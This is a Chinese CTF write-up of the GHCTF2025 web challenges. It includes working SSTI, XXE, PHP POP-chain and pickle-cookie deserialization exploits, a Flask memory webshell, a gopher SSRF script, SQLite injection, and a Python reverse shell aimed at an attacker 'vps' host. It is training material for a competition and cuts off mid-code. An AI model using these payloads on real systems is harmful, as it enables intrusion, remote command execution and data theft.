GHCTF2025--Web

upload?SSTI!

php 复制代码
import os
import re

from flask import Flask, request, jsonify,render_template_string,send_from_directory, abort,redirect
from werkzeug.utils import secure_filename
import os
from werkzeug.utils import secure_filename

app = Flask(__name__)

# 配置信息
UPLOAD_FOLDER = 'static/uploads'  # 上传文件保存目录
ALLOWED_EXTENSIONS = {'txt', 'log', 'text','md','jpg','png','gif'}
MAX_CONTENT_LENGTH = 16 * 1024 * 1024  # 限制上传大小为 16MB

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_CONTENT_LENGTH

# 创建上传目录(如果不存在)
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_safe_path(basedir, path):
    return os.path.commonpath([basedir,path])


def contains_dangerous_keywords(file_path):
    dangerous_keywords = ['_', 'os', 'subclasses', '__builtins__', '__globals__','flag',]

    with open(file_path, 'rb') as f:
        file_content = str(f.read())


        for keyword in dangerous_keywords:
            if keyword in file_content:
                return True  # 找到危险关键字,返回 True

    return False  # 文件内容中没有危险关键字
def allowed_file(filename):
    return '.' in filename and \
        filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        # 检查是否有文件被上传
        if 'file' not in request.files:
            return jsonify({"error": "未上传文件"}), 400

        file = request.files['file']

        # 检查是否选择了文件
        if file.filename == '':
            return jsonify({"error": "请选择文件"}), 400

        # 验证文件名和扩展名
        if file and allowed_file(file.filename):
            # 安全处理文件名
            filename = secure_filename(file.filename)
            # 保存文件
            save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
            file.save(save_path)



            # 返回文件路径(绝对路径)
            return jsonify({
                "message": "File uploaded successfully",
                "path": os.path.abspath(save_path)
            }), 200
        else:
            return jsonify({"error": "文件类型错误"}), 400

    # GET 请求显示上传表单(可选)
    return '''
    <!doctype html>
    <title>Upload File</title>
    <h1>Upload File</h1>
    <form method=post enctype=multipart/form-data>
      <input type=file name=file>
      <input type=submit value=Upload>
    </form>
    '''

@app.route('/file/<path:filename>')
def view_file(filename):
    try:
        # 1. 过滤文件名
        safe_filename = secure_filename(filename)
        if not safe_filename:
            abort(400, description="无效文件名")

        # 2. 构造完整路径
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], safe_filename)

        # 3. 路径安全检查
        if not is_safe_path(app.config['UPLOAD_FOLDER'], file_path):
            abort(403, description="禁止访问的路径")

        # 4. 检查文件是否存在
        if not os.path.isfile(file_path):
            abort(404, description="文件不存在")

        suffix=os.path.splitext(filename)[1]
        print(suffix)
        if suffix==".jpg" or suffix==".png" or suffix==".gif":
            return send_from_directory("static/uploads/",filename,mimetype='image/jpeg')

        if contains_dangerous_keywords(file_path):
            # 删除不安全的文件
            os.remove(file_path)
            return jsonify({"error": "Waf!!!!"}), 400

        with open(file_path, 'rb') as f:
            file_data = f.read().decode('utf-8')
        tmp_str = """<!DOCTYPE html>
        <html lang="zh">
        <head>
            <meta charset="UTF-8">
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <title>查看文件内容</title>
        </head>
        <body>
            <h1>文件内容:{name}</h1>  <!-- 显示文件名 -->
            <pre>{data}</pre>  <!-- 显示文件内容 -->

            <footer>
                <p>&copy; 2025 文件查看器</p>
            </footer>
        </body>
        </html>
        """.format(name=safe_filename, data=file_data)

        return render_template_string(tmp_str)

    except Exception as e:
        app.logger.error(f"文件查看失败: {str(e)}")
        abort(500, description="文件查看失败:{} ".format(str(e)))


# 错误处理(可选)
@app.errorhandler(404)
def not_found(error):
    return {"error": error.description}, 404


@app.errorhandler(403)
def forbidden(error):
    return {"error": error.description}, 403


if __name__ == '__main__':
    app.run("0.0.0.0",debug=False)

很明显的ssti, 过滤的内容也不多

直接编码绕就行

payload:

复制代码
{{lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat /f*")|attr("\u0072\u0065\u0061\u0064")()}}

直接访问 /file/1.txt就行

(>﹏<)

直接给了源码

python 复制代码
from flask import Flask, request
import base64
from lxml import etree
import re

app = Flask(__name__)


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/ghctf', methods=['POST'])
def parse():
    xml = request.form.get('xml')
    print(xml)
    if xml is None:
        return "No System is Safe."
    parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
    root = etree.fromstring(xml, parser)
    name = root.find('name').text
    return name or None


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

parser = etree.XMLParser(load_dtd=True, resolve_entities=True)

load_dtd=True: 允许解析器加载并处理 XML 文档中的 DTD

resolve_entities=True: 启用实体解析功能,包括外部实体

很明显的打xxe, 而且也没有什么过滤

python 复制代码
import requests

url="http://node2.anna.nssctf.cn:28836/ghctf"
payload="""<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
    <name>&xxe;</name>
</root>"""

data={"xml":payload}
res = requests.post(url=url, data=data)
print(res.text)

ez_readfile

代码很简单

php 复制代码
<?php
  show_source(__FILE__);
  if (md5($_POST['a']) === md5($_POST['b'])) {
      if ($_POST['a'] != $_POST['b']) {
          if (is_string($_POST['a']) && is_string($_POST['b'])) {
              echo file_get_contents($_GET['file']);
          }
      }
  }
?>

基础的md5绕过, 然后就是file_get_contents读文件

但是读了/flag没有反应, 应该是改了文件名

首先开始想的是PHP Base64 Filter宽松解析特性和iconv filter编码转换构造命令执行

但是好像没有用, 根本没办法去执行

然后想的是利用CVE-2024-2961从读文件到rce, 但也是一直没成功, 有点不理解

后面就想读一下环境变量, /proc/self/environ , 但是权限不足

就一直想找有没有什么文件能指定flag文件的名字

后面就找到了/docker-entrypoint.sh这个文件

发现里面有flag的文件名 (真是离谱的长)

直接读它拿到flag

Popppppp

php反序列化, 看似代码很多, 其实大都是没有用的

一些分析的过程写在注释里面了

php 复制代码
<?php
error_reporting(0);

class CherryBlossom {
    public $fruit1;
    public $fruit2;

    public function __construct($a) {
        $this->fruit1 = $a;
    }

    function __destruct() {
        echo $this->fruit1; //找toString,有三个类存在这个方法 CherryBlossom, UselessTwo, Samurai
                            //1.1 $fruit1=new CherryBlossom    
    }

    public function __toString() {
        $newFunc = $this->fruit2;
        return $newFunc(); //找__invoke, 1.2 $fruit2= new Philosopher
    }
}

class Forbidden {
    private $fruit3;

    public function __construct($string) {
        $this->fruit3 = $string;
    }

    public function __get($name) {
        $var = $this->$name;
        $var[$name]();
    }
}

class Warlord {
    public $fruit4;
    public $fruit5;
    public $arg1;

    public function __call($arg1, $arg2) {
        $function = $this->fruit4;
        return $function();
    }

    public function __get($arg1) {
        $this->fruit5->ll2('b2');
    }
}

class Samurai {
    public $fruit6;
    public $fruit7;

    public function __toString() {
        $long = @$this->fruit6->add();
        return $long;
    }

    public function __set($arg1, $arg2) {
        if ($this->fruit7->tt2) {
            echo "xxx are the best!!!";
        }
    }
}

class Mystery {
    //自己手动加
    public $SplFileObject = "php://filter/read=convert.base64-encode/resource=/flag";
	//$day2对象的属性名, $day1是对象的属性值
    public function __get($arg1) {
        array_walk($this, function ($day1, $day2) {
            $day3 = new $day2($day1); //利用SplFileObject读取文件
            foreach ($day3 as $day4) {
                echo ($day4 . '<br>');
            }
        });
    }
}

class Princess {
    protected $fruit9;

    protected function addMe() {
        return "The time spent with xxx is my happiest time" . $this->fruit9;
    }

    public function __call($func, $args) {
        call_user_func([$this, $func . "Me"], $args);
    }
}

class Philosopher {
    public $fruit10;
    public $fruit11="sr22kaDugamdwTPhG5zU";

    public function __invoke() {
        if (md5(md5($this->fruit11)) == 666) {//需要绕过, 弱比较, 所以需要找到md5值开头是666后接字母的表达, 写一个脚本跑一下可以找到很多 比如"7000120353"
            return $this->fruit10->hey; //hey是不存在的属性,找__get 有三个类里面有这个方法, Mystery, Warlord, Forbidden
        }                               //使用Mystery  1.3 $fruit10=new Mystery
    }                                   
}

class UselessTwo {
    public $hiddenVar = "123123";

    public function __construct($value) {
        $this->hiddenVar = $value;
    }

    public function __toString() {
        return $this->hiddenVar;
    }
}

class Warrior {
    public $fruit12;
    private $fruit13;

    public function __set($name, $value) {
        $this->$name = $value;
        if ($this->fruit13 == "xxx") {
            strtolower($this->fruit12);
        }
    }
}

class UselessThree {
    public $dummyVar;

    public function __call($name, $args) {
        return $name;
    }
}


class UselessFour {
     public $lalala;

     public function __destruct() {
         echo "Hehe";
     }
 }

if (isset($_GET['GHCTF'])) {
    unserialize($_GET['GHCTF']);
} else {
    highlight_file(__FILE__);
}



//利用点: 1.Mystery里面的array_walk函数
//2. Princess类里面的call_user_func函数


$a=new CherryBlossom();
$a->fruit1=new CherryBlossom();
$a->fruit1->fruit2= new Philosopher();
$a->fruit1->fruit2->fruit11=7000120353;
$a->fruit1->fruit2->fruit10=new Mystery();

echo serialize($a);

最后就是要利用php的原生类进行读取目录以及读取文件
GlobIterator配合glob://协议读取根目录
SplFileObject配合php伪协议读取文件

php 复制代码
<?php
error_reporting(0);

class CherryBlossom {
    public $fruit1;
    public $fruit2;

    function __destruct() {
        echo $this->fruit1; //找toString,有三个类存在这个方法 CherryBlossom, UselessTwo, Samurai
        //1.1 $fruit1=new CherryBlossom
    }

    public function __toString() {
        $newFunc = $this->fruit2;
        return $newFunc(); //找invoke, 1.2 $fruit2= new Philosopher
    }
}

class Mystery {
    //自己手动加
//    public $SplFileObject = "php://filter/read=convert.base64-encode/resource=flag.php";
    public $GlobIterator="glob:///*";
    public function __get($arg1) {
        array_walk($this, function ($day1, $day2) {
            $day3 = new $day2($day1); //利用SplFileObject读取文件
            foreach ($day3 as $day4) {
                echo ($day4 . '<br>');
            }
        });
    }
}


class Philosopher {
    public $fruit10;
    public $fruit11="sr22kaDugamdwTPhG5zU";

    public function __invoke() {
        if (md5(md5($this->fruit11)) == 666) {//需要绕过, 若比较, 所以需要找到md5值开头是666后接字母的表达 "7000120353"
            return $this->fruit10->hey; //hey是不存在的属性,找__get 有三个类里面有这个方法, Mystery, Warlord, Forbidden
        }                               //使用Mystery  1.3 $fruit10=new Mystery
    }
}

//利用点: Mystery里面的array_walk函数


$a=new CherryBlossom();
$a->fruit1=new CherryBlossom();
$a->fruit1->fruit2= new Philosopher();
$a->fruit1->fruit2->fruit11=7000120353;
$a->fruit1->fruit2->fruit10=new Mystery();

echo urlencode(serialize($a));


md5爆破的脚本

python 复制代码
# @Author   :wi1shu


import hashlib
import threading

total = 100000000000  # 从1到多少
threads = 100  # 线程数
truncation = "666"  # 被截断的值
positions = [0, 3]  # 截断位置
per_thread = total // threads
threads_list = []

def double_md5(value):
    first_hash = hashlib.md5(str(value).encode()).hexdigest()
    second_hash = hashlib.md5(first_hash.encode()).hexdigest()
    return second_hash

def calculate_md5(start, end):
    for i in range(start, end):
        md5 = double_md5(i)
        if md5[positions[0]:positions[1]] == truncation:
            print(f"{truncation} -> {i}: {md5}")

if __name__ == "__main__":
    for i in range(threads):
        start = i * per_thread + 1
        end = start + per_thread
        if i == threads - 1:
            end = total + 1
        thread = threading.Thread(target=calculate_md5, args=(start, end))
        threads_list.append(thread)
        thread.start()
    
    for thread in threads_list:
        thread.join()
    
    print("finished.")

ezzzz_pickle

一个登录框, admin / admin123 弱口令进入

点击读取flag, 抓包, 可以看到一个filename参数

可以读取文件

感觉这个读取文件的全都可以用前面发现的非预期了

读取这个文件docker-entrypoint.sh

不过还是要尝试预期做法, 读一下源码

python 复制代码
from flask import Flask, request, redirect, make_response, render_template
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import os

app = Flask(__name__)

def generate_key_iv():
    key = os.environ.get('SECRET_key').encode()
    iv = os.environ.get('SECRET_iv').encode()
    return key, iv

def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
    
    if mode == 'encrypt':
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()
    
    elif mode == 'decrypt':
        decryptor = cipher.decryptor()
        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()

users = {"admin": "admin123"}

def create_session(username):
    session_data = {"username": username, "expires": time.time() + 3600}
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')
    key, iv = generate_key_iv()
    session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
    return session

def download_file(filename):
    path = os.path.join("static", filename)
    with open(path, 'rb') as f:
        data = f.read().decode('utf-8')
    return data

def validate_session(cookie):
    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
        pickled_data = base64.b64decode(pickled)
        session_data = pickle.loads(pickled_data)
        
        if session_data["username"] != "admin":
            return False
        
        return session_data if session_data["expires"] > time.time() else False
    except:
        return False

@app.route("/", methods=['GET', 'POST'])
def index():
    if "session" in request.cookies:
        session = validate_session(request.cookies["session"])
        if session:
            data = ""
            filename = request.form.get("filename")
            if filename:
                data = download_file(filename)
            return render_template("index.html", name=session['username'], file_data=data)
    return redirect("/login")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form.get("username")
        password = request.form.get("password")
        if users.get(username) == password:
            resp = make_response(redirect("/"))
            resp.set_cookie("session", create_session(username))
            return resp
        return render_template("login.html", error="Invalid username or password")
    return render_template("login.html")

@app.route("/logout")
def logout():
    resp = make_response(redirect("/login"))
    resp.delete_cookie("session")
    return resp

if __name__ == "__main__":
    app.run(host="0.0.0.0", debug=False)

可以拿到源码, 可以发现在校验cookie的时候会执行 pickle.loads, 进行反序列化, 就是要利用这里, 所以需要伪造cookie

python 复制代码
def validate_session(cookie):
    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
        pickled_data = base64.b64decode(pickled)
        session_data =a pickle.loads(pickled_dta) #漏洞点, 进行反序列化
        
        if session_data["username"] != "admin":
            return False
        
        return session_data if session_data["expires"] > time.time() else False
    except:
        return False

继续读环境变量, 可以发现SECRET_key, SECRET_iv的值
key=ajwdopldwjdowpajdmslkmwjrfhgnbbv
iv=asdwdggiouewhgpw
有了key, 那就可以伪造cookie了, 当服务器校验cookie的时候就可以触发pickle.loads进行反序列化, 执行恶意代码了

不过没有回显, 可以尝试写文件, 反弹shell, 打内存马之类的

python 复制代码
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('whoami > /tmp/1.txt',))


def generate_key_iv():
    key = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"
    iv = b"asdwdggiouewhgpw"
    return key, iv


def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

    if mode == 'encrypt':
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()

    elif mode == 'decrypt':
        decryptor = cipher.decryptor()
        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()


users = {"admin": "admin123"}

def create_session(username):
    session_data = {"username": username, "expires": time.time() + 3600, "exp":Exploit()} #加上恶意代码
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')
    print(pickled_data)
    key, iv = generate_key_iv()
    session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
    print("[+]session:"+session)
    return session


def validate_session(cookie):
    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
        # print(pickled)
        pickled_data = base64.b64decode(pickled)
        # print(pickled_data)
        session_data = pickle.loads(pickled_data)
        print(session_data)

        if session_data["username"] != "admin":
            return False

        return session_data if session_data["expires"] > time.time() else False
    except:
        return False


create_session("admin")
# 3AIoDTviFKHyONegqv4u+FWzecUPuH3EsKRB1Vioy9BWo7scZqKebzY5GfXDjcWUxxwwZWo1QRVo3tmcAosqCnRWQUtPARbxkZsiGhTQSA4iu28IAZp/5LKFcdfVXji+IOTuvlcc2mjPionMqgOZ3aomjGveIS0rbYoe9nok6yTzitoe3B4tf23ltbIGKWGE

有点奇怪, 我自己本地试了一下这个cookie是可以被反序列化然后执行的, 但是靶机上一直没成功,可能没有权限还是干嘛

然后又试试打内存马

python 复制代码
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import padding
import pickle
import base64
import time
import os

class Exp:
    def __reduce__(self):
        return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))


def generate_key_iv():
    key = b"ajwdopldwjdowpajdmslkmwjrfhgnbbv"
    iv = b"asdwdggiouewhgpw"
    return key, iv


def aes_encrypt_decrypt(data, key, iv, mode='encrypt'):
    cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())

    if mode == 'encrypt':
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(algorithms.AES.block_size).padder()
        padded_data = padder.update(data.encode()) + padder.finalize()
        result = encryptor.update(padded_data) + encryptor.finalize()
        return base64.b64encode(result).decode()

    elif mode == 'decrypt':
        decryptor = cipher.decryptor()
        encrypted_data_bytes = base64.b64decode(data)
        decrypted_data = decryptor.update(encrypted_data_bytes) + decryptor.finalize()
        unpadder = padding.PKCS7(algorithms.AES.block_size).unpadder()
        unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
        return unpadded_data.decode()


users = {"admin": "admin123"}

def create_session(username):
    session_data = {"username": username, "expires": time.time() + 3600,}
    pickled = pickle.dumps(session_data)
    pickled_data = base64.b64encode(pickled).decode('utf-8')
    print(pickled_data)
    key, iv = generate_key_iv()
    session = aes_encrypt_decrypt(pickled_data, key, iv, mode='encrypt')
    print("[+]session:"+session)
    return session


def validate_session(cookie):
    try:
        key, iv = generate_key_iv()
        pickled = aes_encrypt_decrypt(cookie, key, iv, mode='decrypt')
        # print(pickled)
        pickled_data = base64.b64decode(pickled)
        # print(pickled_data)
        session_data = pickle.loads(pickled_data)
        print(session_data)

        if session_data["username"] != "admin":
            return False

        return session_data if session_data["expires"] > time.time() else False
    except:
        return False

exp = Exp()
create_session(exp)

UPUPUP

可以上传.htaccess文件

但是后端检验了mine类型, 直接加上GIF89a 上传会报500错误,有语法错误, 而在.htaccess 中有两个注释符,或者相当于单行注释的符号 , 可以通过这两个绕过getimagesize和exif_imagetype

复制代码
\x00
#

所以就可以这样写.htaccess

复制代码
#define width 1
#define height 1
<FilesMatch "1.jpg">  
SetHandler application/x-httpd-php
</FilesMatch>

在上传1.jpg就行

Goph3rrr

/app.py可以看到源码

关键代码

python 复制代码
from flask import Flask, request, send_file, render_template_string
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket
import hashlib
import base64
import random

app = Flask(__name__)
BlackList = [
    "127.0.0.1"
]
@app.route('/Gopher')
def visit():
    url = request.args.get('url')
    if url is None:
        return "No url provided :)"
    url = urlparse(url)
    realIpAddress = socket.gethostbyname(url.hostname)
    if url.scheme == "file" or realIpAddress in BlackList:
        return "No (≧∇≦)"
    result = subprocess.run(["curl", "-L", urlunparse(url)], capture_output=True, text=True)
    return result.stdout
@app.route('/Manage', methods=['POST'])
def cmd():
    if request.remote_addr != "127.0.0.1":
        return "Forbidden!!!"
    if request.method == "GET":
        return "Allowed!!!"
    if request.method == "POST":
        return os.popen(request.form.get("cmd")).read()

本来是想在自己vps上起一个302.php跳转,Gopher?url=http://pmjphw.top/302.php

但是/Manage路由必须要是POST方法才能执行cmd, 302跳转不起作用

所以必须用gopher协议, 发送一个post的请求

因为过滤了 127.0.0.1, 可以使用 0.0.0.0进行绕过

payload:

python 复制代码
import urllib.parse
payload =\
"""POST /Manage HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

cmd=env
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://0.0.0.0:8000/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

#gopher%3A//0.0.0.0%3A8000/_POST%2520/Manage%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A8000%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%25207%250D%250A%250D%250Acmd%253Denv%250D%250A

SQL???

进入首页就是这样的, 很明显, 应该就是sql注入了

经过测试, 输入单引号和双引号' "会显示hacker, 被过滤了
union select 联合查询一下可以发现有回显点

但好像没有用, 没办法执行一些操作

前面一直卡在这, 没办法执行一些函数操作啥的, 就没管了, 后面wp出来之后才知道这是Sqlite注⼊ , 怪我见识短浅了

比如查看版本用的是 sqlite_version() 而之前我一直用的version(),总是报错


sqlite里面没有像其他数据库那样的information_schema,而是依赖sqlite_master

复制代码
id=1 union select 1,sqlite_version(),(select sql from sqlite_master limit 0,1),4,5

查询第一条记录的创建语句 , 可以看到存在表flag 以及字段名flag

拿数据内容

复制代码
id=1 union select 1,sqlite_version(),(select * from flag),4,5
或者
id=1 union select 1,sqlite_version(),(select group_concat(flag) from flag),4,5

Message in a Bottle

一个留言板, 下意识的会以为是xss, 虽然确实可以弹窗, 但是没有什么作用

python 复制代码
from bottle import Bottle, request, template, run


app = Bottle()

# 存储留言的列表
messages = []
def handle_message(message):
    message_items = "".join([f"""
        <div class="message-card">
            <div class="message-content">{msg}</div>
            <small class="message-time">#{idx + 1} - 刚刚</small>
        </div>
    """ for idx, msg in enumerate(message)])

    board = f"""<!DOCTYPE html>
    <html lang="zh">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>简约留言板</title>
        <link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet">
         <style>
            :root {{
                --primary-color: #4a90e2;
                --hover-color: #357abd;
                --background-color: #f8f9fa;
                --card-background: #ffffff;
                --shadow-color: rgba(0, 0, 0, 0.1);
            }}

            body {{
                background: var(--background-color);
                min-height: 100vh;
                padding: 2rem 0;
                font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            }}

            .container {{
                max-width: 800px;
                background: var(--card-background);
                border-radius: 15px;
                box-shadow: 0 4px 6px var(--shadow-color);
                padding: 2rem;
                margin-top: 2rem;
                animation: fadeIn 0.5s ease-in-out;
            }}

            @keyframes fadeIn {{
                from {{ opacity: 0; transform: translateY(20px); }}
                to {{ opacity: 1; transform: translateY(0); }}
            }}

            .message-card {{
                background: var(--card-background);
                border-radius: 10px;
                padding: 1.5rem;
                margin: 1rem 0;
                transition: all 0.3s ease;
                border-left: 4px solid var(--primary-color);
                box-shadow: 0 2px 4px var(--shadow-color);
            }}

            .message-card:hover {{
                transform: translateX(10px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            .message-content {{
                font-size: 1.1rem;
                color: #333;
                line-height: 1.6;
                margin-bottom: 0.5rem;
            }}

            .message-time {{
                color: #6c757d;
                font-size: 0.9rem;
                display: block;
                margin-top: 0.5rem;
            }}

            textarea {{
                width: 100%;
                height: 120px;
                padding: 1rem;
                border: 2px solid #e9ecef;
                border-radius: 10px;
                resize: vertical;
                font-size: 1rem;
                transition: border-color 0.3s ease;
            }}

            textarea:focus {{
                border-color: var(--primary-color);
                outline: none;
                box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);
            }}

            .btn-custom {{
                background: var(--primary-color);
                color: white;
                padding: 0.8rem 2rem;
                border-radius: 10px;
                border: none;
                transition: all 0.3s ease;
                font-weight: 500;
                text-transform: uppercase;
                letter-spacing: 0.05rem;
            }}

            .btn-custom:hover {{
                background: var(--hover-color);
                transform: translateY(-2px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            h1 {{
                color: var(--primary-color);
                text-align: center;
                margin-bottom: 2rem;
                font-weight: 600;
                font-size: 2.5rem;
                text-shadow: 2px 2px 4px var(--shadow-color);
            }}

            .btn-danger {{
                transition: all 0.3s ease;
                padding: 0.6rem 1.5rem;
                border-radius: 10px;
                text-transform: uppercase;
                letter-spacing: 0.05rem;
            }}

            .btn-danger:hover {{
                transform: translateY(-2px);
                box-shadow: 0 4px 8px var(--shadow-color);
            }}

            .text-muted {{
                font-style: italic;
                color: #6c757d !important;
            }}

            @media (max-width: 576px) {{
                h1 {{
                    font-size: 2rem;
                }}
                .container {{
                    padding: 1.5rem;
                }}
                .message-card {{
                    padding: 1rem;
                }}
            }}
        </style>
    </head>
    <body>
        <div class="container">
            <div class="d-flex justify-content-between align-items-center mb-4">
                <h1 class="mb-0">📝 简约留言板</h1>
                <a 
                    href="/Clean" 
                    class="btn btn-danger"
                    onclick="return confirm('确定要清空所有留言吗?此操作不可恢复!')"
                >
                    🗑️ 一键清理
                </a>
            </div>

            <form action="/submit" method="post">
                <textarea 
                    name="message" 
                    placeholder="输入payload暴打出题人"
                    required
                ></textarea>
                <div class="d-grid gap-2">
                    <button type="submit" class="btn-custom">发布留言</button>
                </div>
            </form>

            <div class="message-list mt-4">
                <div class="d-flex justify-content-between align-items-center mb-3">
                    <h4 class="mb-0">最新留言({len(message)}条)</h4>
                    {f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else ''}
                </div>
                {message_items}
            </div>
        </div>
    </body>
    </html>"""
    return board



def waf(message):
    return message.replace("{", "").replace("}", "")


@app.route('/')
def index():
    return template(handle_message(messages))


@app.route('/Clean')
def Clean():
    global messages
    messages = []
    return '<script>window.location.href="/"</script>'

@app.route('/submit', method='POST')
def submit():
    message = waf(request.forms.get('message'))
    messages.append(message)
    return template(handle_message(messages))


if __name__ == '__main__':
    run(app, host='localhost', port=9000)

看到代码, 会将 {}替换为空, 使用了bottle库, 查找一些资料, 发现存在ssti模板注入, 本地搭建环境, 把waf去掉, 可以发现使用 {``{2*2}} 会回显4, 确实存在漏洞

不过{ 和 } 被替换为空了那么就几乎不可能使用这种方法了

进过查找一些资料, 可以发现可以通过 % 来执行python代码

本地测试了一下
可以执行代码, 但是题目是没有回显的, 所以需要反弹shell, 连上自己的vps

复制代码
message=%0A%import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("vps",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);#

虽然这里显示请求失败, 但服务器还是连上了

GetShell

php 复制代码
<?php
highlight_file(__FILE__);

class ConfigLoader {
    private $config;

    public function __construct() {
        $this->config = [
            'debug' => true,
            'mode' => 'production',
            'log_level' => 'info',
            'max_input_length' => 100,
            'min_password_length' => 8,
            'allowed_actions' => ['run', 'debug', 'generate']
        ];
    }

    public function get($key) {
        return $this->config[$key] ?? null;
    }
}

class Logger {
    private $logLevel;

    public function __construct($logLevel) {
        $this->logLevel = $logLevel;
    }

    public function log($message, $level = 'info') {
        if ($level === $this->logLevel) {
            echo "[LOG] $message\n";
        }
    }
}

class UserManager {
    private $users = [];
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function addUser($username, $password) {
        if (strlen($username) < 5) {
            return "Username must be at least 5 characters";
        }

        if (strlen($password) < 8) {
            return "Password must be at least 8 characters";
        }

        $this->users[$username] = password_hash($password, PASSWORD_BCRYPT);
        $this->logger->log("User $username added");
        return "User $username added";
    }

    public function authenticate($username, $password) {
        if (isset($this->users[$username]) && password_verify($password, $this->users[$username])) {
            $this->logger->log("User $username authenticated");
            return "User $username authenticated";
        }
        return "Authentication failed";
    }
}

class StringUtils {
    public static function sanitize($input) {
        return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
    }

    public static function generateRandomString($length = 10) {
        return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
    }
}

class InputValidator {
    private $maxLength;

    public function __construct($maxLength) {
        $this->maxLength = $maxLength;
    }

    public function validate($input) {
        if (strlen($input) > $this->maxLength) {
            return "Input exceeds maximum length of {$this->maxLength} characters";
        }
        return true;
    }
}

class CommandExecutor {
    private $logger;

    public function __construct($logger) {
        $this->logger = $logger;
    }

    public function execute($input) {
        if (strpos($input, ' ') !== false) {
            $this->logger->log("Invalid input: space detected");
            die('No spaces allowed');
        }

        @exec($input, $output);
        $this->logger->log("Result: $input");
        return implode("\n", $output);
    }
}

class ActionHandler {
    private $config;
    private $logger;
    private $executor;

    public function __construct($config, $logger) {
        $this->config = $config;
        $this->logger = $logger;
        $this->executor = new CommandExecutor($logger);
    }

